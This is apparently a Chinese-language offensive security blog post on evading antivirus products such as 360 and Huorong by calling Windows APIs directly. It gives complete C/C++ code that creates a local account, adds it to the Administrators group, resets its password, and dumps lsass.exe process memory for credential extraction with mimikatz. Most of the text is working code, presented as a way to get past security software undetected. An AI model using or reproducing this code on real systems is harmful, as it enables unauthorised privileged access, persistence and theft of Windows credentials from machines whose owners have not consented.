1. 账号操作
我们知道如果在有杀软的情况下,你想去创建一个账号的话杀软基本上都会拦截的,这个时候我们就需要绕过杀软来进行相关的操作,这里面有一种思路就是利用Windows API来创建、修改账号或管理员组的信息。
1.1 创建账号
1.1.1 NetUserAdd API基础
这里面我们涉及一个API和相关的函数结构:
NetUserAdd函数USER_INFO_1结构
直接来演示吧,下面是Windows 创建账号相关的API,主要是NetUserAdd,其相关的链接为:
https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd
相关的数据结构为:
NET_API_STATUS NET_API_FUNCTION NetUserAdd(LPCWSTR servername,DWORD level,LPBYTE buf,LPDWORD parm_err);
我们主要关注其level,我们主要关注的为level1,相关的级别如下:<br /><br />详细可参考这个API,相关链接为:
https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-user_info_1
其level=1时,其USER_INFO_1的结构为:
typedef struct _USER_INFO_1 {LPWSTR usri1_name;LPWSTR usri1_password;DWORD usri1_password_age;DWORD usri1_priv;LPWSTR usri1_home_dir;LPWSTR usri1_comment;DWORD usri1_flags;LPWSTR usri1_script_path;} USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;
1.1.2 代码实现
相关的代码如下所示:
#include <stdio.h>#include <windows.h>#include <lm.h>#pragma comment(lib,"netapi32")int Usage(wchar_t*);int wmain(int argc, wchar_t* argv[]){// 定义USER_INFO_1结构体USER_INFO_1 user1;DWORD dwError = 0;user1.usri1_name = L"test"; // 账户user1.usri1_password = L"1"; // 密码user1.usri1_priv = USER_PRIV_USER;user1.usri1_home_dir = NULL;user1.usri1_comment = NULL;user1.usri1_flags = UF_SCRIPT;user1.usri1_script_path = NULL;//利用NetUserAdd函数创建用户NetUserAdd(NULL, 1, (LPBYTE)&user1, &dwError);return 0;}
可以看到代码其实就两个部分:
1.利用NetUserAdd API创建用户2.定义USER_INFO_1结构体,指定账号信息(账号名、密码、账号类型等)
1.1.3 效果
直接运行
静态不查杀:

动态运行代码,也可成功运行,但是杀软并没有拦截:
看一下结果,账号成功创建:
1.2 增加到管理员组
1.2.1 NetLocalGroupAddMembers API基础
这里面使用的API为NetLocalGroupAddMembers,详细为:
https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers
相关的语法为:
NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(LPCWSTR servername,LPCWSTR groupname,DWORD level,LPBYTE buf,DWORD totalentries);
这里面我们主要关注level,其level为3时表示回呀到本地组中:
看一下这个LOCALGRUP_MEMBERS_INFO_3的结构:
https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-localgroup_members_info_3
typedef struct _LOCALGROUP_MEMBERS_INFO_3 {LPWSTR lgrmi3_domainandname;} LOCALGROUP_MEMBERS_INFO_3, *PLOCALGROUP_MEMBERS_INFO_3, *LPLOCALGROUP_MEMBERS_INFO_3;
1.2.2 实现
先看一下test用户并没有在任何的本地组中,我们想把其加到管理员组中:
代码实现为:
#include <stdio.h>#include <windows.h>#include <lm.h>#pragma comment(lib,"netapi32")int Usage(wchar_t*);int wmain(int argc, wchar_t* argv[]){// 定义LOCALGROUP_MEMBERS_INFO_3结构LOCALGROUP_MEMBERS_INFO_3 account;account.lgrmi3_domainandname = L"test";// 利用NetLocalGroupAddMembers API将用户到administrators组NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);return 0;}
1.2.3 效果
这里面我们直接运行,可以看到360和火绒并没有拦截:
再看一下效果,test账号已经被加入到管理员组中了:
2. 修改密码
2.1 NetUserSetInfo API基础
主要利用的API为netusersetinfo
https://docs.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netusersetinfo?redirectedfrom=MSDN
相关的语法为:
NET_API_STATUS NET_API_FUNCTION NetUserSetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE buf,LPDWORD parm_err);
其主要是指定Level 为1003,其代表修改密码:
1003的结构为:
https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/ns-lmaccess-user_info_1003
2.2 代码实现
相关的实现代码为:
#include <stdio.h>#include <windows.h>#include <lm.h>#pragma comment(lib,"netapi32")int Usage(wchar_t*);int wmain(int argc, wchar_t* argv[]){// 定义USER_INFO_1003结构体USER_INFO_1003 user1;user1.usri1003_password = L"1";//利用NetUserSetInfo函数设置用户信息NetUserSetInfo(NULL, L"test",1003, (LPBYTE)&user1, NULL);}
2.3 效果
3. Dump lsass内存数据
目前ProcDump程序已经被360拦截,无法利用这种方式进行dump内存,因此我们可以考虑直接调用Windows API来实现Dump内存的目的。
3.1 MiniDumpWriteDump API基础
该API相关说明链接如下:
https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
其数据结构如下所示:
BOOL MiniDumpWriteDump([in] HANDLE hProcess,[in] DWORD ProcessId,[in] HANDLE hFile,[in] MINIDUMP_TYPE DumpType,[in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,[in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,[in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
3.2 代码
#include <windows.h>#include <DbgHelp.h>#include <iostream>#include <TlHelp32.h>#pragma comment( lib, "Dbghelp.lib" )using namespace std;int main() {DWORD lsassPID = 0;HANDLE lsassHandle = NULL;HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);PROCESSENTRY32 processEntry = {};processEntry.dwSize = sizeof(PROCESSENTRY32);LPCWSTR processName = L"";if (Process32First(snapshot, &processEntry)) {while (_wcsicmp(processName, L"lsass.exe") != 0) {Process32Next(snapshot, &processEntry);processName = processEntry.szExeFile;lsassPID = processEntry.th32ProcessID;}wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;}lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);if (isDumped) {cout << "[+] lsass dumped successfully!" << endl;}return 0;}
3.3 效果
直接以64位进行编译
可以看到其已经Dump lsass内存数据成功
并且杀软全开:
然后直接使用mimikatz来进行分析就可以dump内存了。
4. referers
NetUserAdd-创建用户https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseraddNetLocalGroupAddMembers 用户组操作https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembersNetUserSetInfo-修改用户信息https://docs.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netusersetinfo?redirectedfrom=MSDNMiniDumpWriteDumphttps://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump

